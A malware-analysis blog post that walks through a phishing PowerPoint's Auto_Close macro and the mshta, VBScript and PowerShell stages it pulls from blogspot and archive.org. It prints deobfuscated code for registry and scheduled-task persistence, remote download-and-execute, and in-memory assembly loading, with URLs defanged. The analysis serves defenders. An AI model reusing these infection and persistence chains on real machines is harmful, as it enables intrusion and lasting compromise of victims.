Mshta, VBScript, Powershell and C2 in public services

This week i‘ve stumbled about a common downloader VBA in a Powerpoint file instead of an Excel or Word file, arrived by mail as a „purchase order“. It got my attention in the first step for one reason: It‘s not using the common „Auto_Open()“ Macro, but an „Auto_Close()“ Macro. This is a very effective way to bypass automated sandbox analysis, where a timeout is applied, the analysis is stopped and the analysis VM or physical host is shutdown or restarted for re-imaging. So the malicious activities would never have been recorded.

The deobfuscated macro itself is really a short one.

```
Function pings() As String
pings = "MsHTa Hxxp://j[.]mp/huidywqudbjhvcfgjdagshdj"
End Function

Function Auto_Close() As String
Set meinkonhun = GetObject("new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B")
: MsgBox "Microsoft Office not Installed"
: meinkonhun.EXEC pings
End Function
```

Just to notice: This domain is blocked by my Pi-Hole.

The „GetObject“ creates a Windows Script Host Shell Object by ClassID. The content of the by mshta opened content was then the 2nd stage of compromize. The URL above redirects to an empty blogpost (https://laylomeriajtmmeinnaijanta.blogspot.com/p/blessed.html) on a blog plattform. But in the source of this site, there were two unusual Strings of document.write(unescape(…)).

The first one injects an obfuscated VBScript-Block to ensure persitens by creating a „Run“-entry in the current users registry hive as well, as an ofusecated Powershell script under the users Software key in the registry. In addition, you can see below 4 additional ways to ensure persistence. One scheduled task and 3 other „Run“-entries in the users registry hive. While the first two sites („elevatednew1.html“ and „elevatednew1backup.html“) contain the same escaped script as the infecting site „blessed.html“, the last two sites („backbone15.html“ and „ghostbackup14.html“) contain just a little VBScript block with one command: „self.close“. As the site names suggests, this seem to be two backup C2 sites, if the others are shut down. So this seems to be intended as a long term operation.

```
MicrosoftWINdows.RegWrite HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
DLESOLCRETSAM, mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run
""powershell ((gp HKCU:\Software).MSOFFICELO)|IEX"", 0 : window.close"), REG_SZ



<script language="VBScript">

set MicrosoftWINdows = GetObject("new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B")
EXCELX =  "REG_SZ"
MicrosoftWINdows.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
DLESOLCRETSAM", "mshta
vbscript:Execute(""CreateObject(""""Wscript.Shell"""").Run """"powershell ((gp
HKCU:\Software).MSOFFICELO)|IEX""""", 0 : window.close"")", EXCELX
MicrosoftWINdows.regwrite "HKCU\Software"   "MSOFFICELO",
"$mixol='akunamahtahaEX'.replace('akunamahtaha','I');sal M $mixol;do {$ping =
test-connection -comp google.com -count 1 -Quiet} until ($ping);
$ijijinjnini='*$*47*$*37*$*36*$* [...] e6*$*57*$*64'.replace('*$*','%');
$asciiChars =$ijijinjnini.ToCharArray();[Array]::Reverse($asciiChars);$tu=-join
```

```
$asciiChars;$jm=$tu.Split('%') | forEach {[char]([convert]::toint16($_,16))};
$jm -join ''| M" , EXCELX
Const HIDDEN_WINDOW = 0
Set objWMIService = GetObject(winmgmts:{impersonationLevel=impersonate}!\\.\
root\cimv2)
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = objProcess.Create("powershell -noexit ((gp HKCU:\
Software).MSOFFICELO)|IEX", null, objConfig, intProcessID)

'id1
MicrosoftWINdows.RUn "schtasks /create /sc MINUTE /mo 80 /tn
""""WIND0WSUPLATE""" /F /tr
""""\""""mshta\""""vbscript:Execute(""\""CreateObject(""""\""""Wscript.Shell"""
"\""""").Run """"\""""mshta
hxxp://1230948%1230948@randikhanaekminar[.]blogspot[.]com/p/elevatednew1.html""
""\""", 0 : window.close""\"")",0

'id2
MicrosoftWINdows.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
dkkkksakdosexography",
"""mshta""""hxxp://1230948%1230948@backbones1234511a[.]blogspot[.]com/p/
elevatednew1backup.html""", EXCELX

'id3
MicrosoftWINdows.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run",
"""mshta""""hxxp://1230948%1230948@startthepartyup[.]blogspot[.]com/p/
backbone15.html""", EXCELX

'id4gst
MicrosoftWINdows.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
nunukhaoo",
"""mshta""""hxxp://1230948%1230948@ghostbackbone123[.]blogspot[.]com/p/
ghostbackup14.html""", EXCELX


window.resizeTo 0, 0
self.close
</script>
```

The second escaped document.write() injectes another VBSript to the site. A bit beatified it looks like that:

```
<script language="VBScript">
Set AxSo = CreateObject("WScript.Shell")
Dim ASXsmw
ASXsmw0 = "cMd /c cd %Public% & _
@echo dim http_obj >>SiggiaW.vbs & _
@echo dim stream_obj >>SiggiaW.vbs & _
@echo dim shell_obj >>SiggiaW.vbs & _
@echo set http_obj = CreateObject(""Microsoft.XMLHTTP"") >>SiggiaW.vbs & _
@echo set stream_obj = CreateObject(""ADODB.Stream"") >>SiggiaW.vbs & _
@echo set shell_obj = CreateObject(""WScript.Shell"") >>SiggiaW.vbs & _
@echo URL =
""hxxps://ia801408[.]us[.]archive[.]org/25/items/defender_202103/defender.txt""
>>SiggiaW.vbs & _
@echo http_obj.open ""GET"", URL, False >>SiggiaW.vbs & _
@echo http_obj.send >>SiggiaW.vbs & _
@echo stream_obj.type = 1 >>SiggiaW.vbs & _
@echo stream_obj.open >>SiggiaW.vbs & _
@echo stream_obj.write http_obj.responseBody >>SiggiaW.vbs & _
@echo stream_obj.savetofile ""C:\Users\Public\1.txt"", 2 >>SiggiaW.vbs & _
@echo Dim xxx >>SiggiaW.vbs & _
@echo Set xxx = CreateObject(""Scripting.FileSystemObject"") >>SiggiaW.vbs & _
@echo Set file = xxx.OpenTextFile(""C:\Users\Public\1.txt"", 1) >>SiggiaW.vbs &
_
@echo content = file.ReadAll >>SiggiaW.vbs & _
@echo content = StrReverse(content) >>SiggiaW.vbs & _
@echo Dim fso >>SiggiaW.vbs & _
```

```
@echo Dim fdsafdsa >>SiggiaW.vbs & _
@echo Dim oNode, fdsaa >>SiggiaW.vbs & _
@echo Const adTypeBinary = 1 >>SiggiaW.vbs & _
@echo Const adSaveCreateOverWrite = 2 >>SiggiaW.vbs & _
@echo Set oNode =
CreateObject(""Msxml2.DOMDocument.3.0"").CreateElement(""base64"")
>>SiggiaW.vbs & _
@echo oNode.dataType = ""bin.base64"" >>SiggiaW.vbs & _
@echo oNode.Text = content >>SiggiaW.vbs & _
@echo Set fdsaa = CreateObject(""ADODB.Stream"") >>SiggiaW.vbs & _
@echo fdsaa.Type = adTypeBinary >>SiggiaW.vbs & _
@echo tempdir =
CreateObject(""WScript.Shell"").ExpandEnvironmentStrings(""%Public%\bin.vbs"")
>>SiggiaW.vbs & _
@echo LocalFile = tempdir >>SiggiaW.vbs & _
@echo fdsaa.Open >>SiggiaW.vbs & _
@echo fdsaa.Write oNode.nodeTypedValue >>SiggiaW.vbs & _
@echo fdsaa.SaveToFile LocalFile, adSaveCreateOverWrite >>SiggiaW.vbs & _
@echo Set fso = CreateObject(""Scripting.FileSystemObject"") >>SiggiaW.vbs & _
@echo Set fdsafdsa = CreateObject(""WScript.Shell"") >>SiggiaW.vbs & _
@echo If (fso.FileExists(LocalFile)) Then >>SiggiaW.vbs & _
@echo     fdsafdsa.RUN (LocalFile) >>SiggiaW.vbs & _
@echo End If>>SiggiaW.vbs& _
 SiggiaW.vbs & _
dEl SiggiaW.vbs"

AxSo.Run ASXsmw0 , vbHide


window.resizeTo 0, 0
self.close
</script>
```

The download of the „defender.txt“ redirects to hxxps://archive[.]org/download/defender_202103/defender.txt, fails with error code „403 Forbidden“. The sub directory „defender_YYYYMM“ as well as the filename itself, let me assume, this could be a kind of a „kill switch“ to stop activity and clean up any traces.
If the permission of the file to download could be changed by the attacker, this would of corse imply, that the attacker has control over this server.

So far for infection and persistence. But what does the Powershell script in the registry do? Lets have a look. After deofusecating, it is just a simple downloader, which downloads and executes most likely a Powershell script.

```
Function hhhhhcccst{
  $TC=I`E`X ('(New-Object
Net.WebClient).DownloadString(''hxxps://ia801409[.]us[.]archive[.]org/17/items/
blessed_202104/blessed.txt'')')|I`E`X
}
IEX hhhhhcccst
```

The downloaded “blessed.txt” is indeed a Powershell script.

```
[Byte[]]$xtz=[syStEm.COnvERt]::"FrOmbASe6`4`Str`INg"('TVqQ [...] AAA==');
[void][System.Reflection.Assembly]::Load([byte[]]($xtz))

$element  = [DECRYPT_AES_AMSI_DLL.Program]::AES_Decrypt("wHbP [...]
zTBvPdLg==","X85RZ8A5Z7")
[byte[]]$Bytes = [convert]::FromBase64String($element)
[System.Reflection.Assembly]::Load([byte[]]($Bytes))


[angola]::Main()
```

```
[Byte[]]$H1=[System.Convert]::FromBase64String('TVqQ||M||||E [..] ||||||||||||
==').Replace('|','A'));

[Byte[]]$xtz=(77,90,144,0,3,0, [...] 0,0,0);

$Facebook = 'Getfacebook'.Replace('facebook','Type')
$Skype = 'Getgoogle chrome'.Replace('google chrome','Method')
$google = 'Skype\aspnet_compiler.exe'.Replace('Skype','C:\Windows\
Microsoft.NET\Framework\v4.0.30319')
$chrome = 'InFirefox'.Replace('Firefox','voke')

[Reflection.Assembly]::Load($H1).$Facebook('HBAR.PING').$Skype('CMD').
$chrome($null,[object[]] ($google,$xtz))
```

It consists of four strings of different ecodings and one seems to be AES encryted and base64 encoded. So let's start with the first "$xtz".

By replacing `[void][System.Reflection.Assembly]::Load([byte[]]($xtz))` with

```
$outfile = "malbin-1.dat"
New-Item $outfile -type file -force
Set-Content $outfile (([char[]]$xtz) -join '')
Exit
```

I got the loaded code as file. The type in regards of the "file" command is indeed "MS-DOS executable". The sha256 hash of "52e3ddf72ebf57531491a00b2813d020515445b8d65bbfa615af04b802f7f7a9" was unknown to VT and the uploaded file itself has a VT-score of 1/62 at the time of writing. After inspecting the exports, this is just the AES-decryptor used in the next step. So, same procedure; instead of loading the file, saving it to a file.